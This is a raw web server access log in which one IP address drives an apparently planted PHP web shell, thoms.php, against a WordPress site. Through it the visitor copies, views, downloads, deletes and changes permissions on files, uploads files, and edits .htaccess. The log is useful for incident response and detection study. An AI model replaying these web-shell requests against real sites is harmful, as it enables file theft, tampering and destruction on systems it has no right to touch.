45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11316 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11330 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 12293 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18879 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:21 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=big-wife.com.tw HTTP/1.1" 200 16082 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/.well-known/?MA= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/.well-known/?SA= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/.well-known/?ND= HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?edit=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 12481 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/orphan-transpiler/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?del=license.txt&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13757 "http://163.245.207.76:443/thoms.php?del=license.txt&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?chmod=profile.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?del=profile.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13776 "http://163.245.207.76:443/thoms.php?del=profile.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/orphan-transpiler/index.php HTTP/1.1" 200 6598 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13756 "http://163.245.207.76:443/thoms.php?del=index.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&settings=1 HTTP/1.1" 200 11933 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Fadmin.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Fadmin.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?dl=admin.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13755 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/orphan-transpiler/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Fcjfuns.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11375 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Fcjfuns.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13758 "http://163.245.207.76:443/thoms.php?dl=index.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /big-wife.com.tw/orphan-transpiler HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/orphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&upload= HTTP/1.1" 200 12149 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:22 -0400] "GET /big-wife.com.tw/orphan-transpiler/cjfuns.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /big-wife.com.tw/orphan-transpiler/ HTTP/1.1" 200 6491 "https://163.245.207.76:443/big-wife.com.tw/orphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Flicense.txt&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Flicense.txt&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?dl=license.txt&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13604 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=profile.php HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?dl=profile.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13608 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=admin.php HTTP/1.1" 200 16592 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?del=admin.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13628 "http://163.245.207.76:443/thoms.php?del=admin.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=cjfuns.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13600 "https://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?chmod=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?del=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13598 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13607 "https://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=license.txt HTTP/1.1" 200 11914 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /big-wife.com.tw/orphan-transpiler/admin.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:23 -0400] "GET /thoms.php?chmod=license.txt&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Fprofile.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Fprofile.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Findex.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler%2Findex.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?chmod=admin.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?dl=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13445 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13437 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=index.php HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /big-wife.com.tw/text-kernel HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/text-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=admin.php HTTP/1.1" 200 16604 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /big-wife.com.tw/text-kernel/ HTTP/1.1" 200 6350 "https://163.245.207.76:443/big-wife.com.tw/text-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=index.php HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13308 "http://163.245.207.76:443/thoms.php?dl=index.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /big-wife.com.tw/text-kernel/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /big-wife.com.tw/text-kernel/index.php HTTP/1.1" 200 6362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?del=license.txt&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13296 "http://163.245.207.76:443/thoms.php?del=license.txt&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Fadmin.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Fadmin.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=profile.php HTTP/1.1" 200 11863 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:24 -0400] "GET /thoms.php?del=profile.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13290 "http://163.245.207.76:443/thoms.php?del=profile.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?chmod=profile.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Fprofile.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Fprofile.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel&upload= HTTP/1.1" 200 12201 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?dl=admin.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13307 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13308 "http://163.245.207.76:443/thoms.php?del=index.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Findex.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Findex.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?chmod=admin.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?chmod=license.txt&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
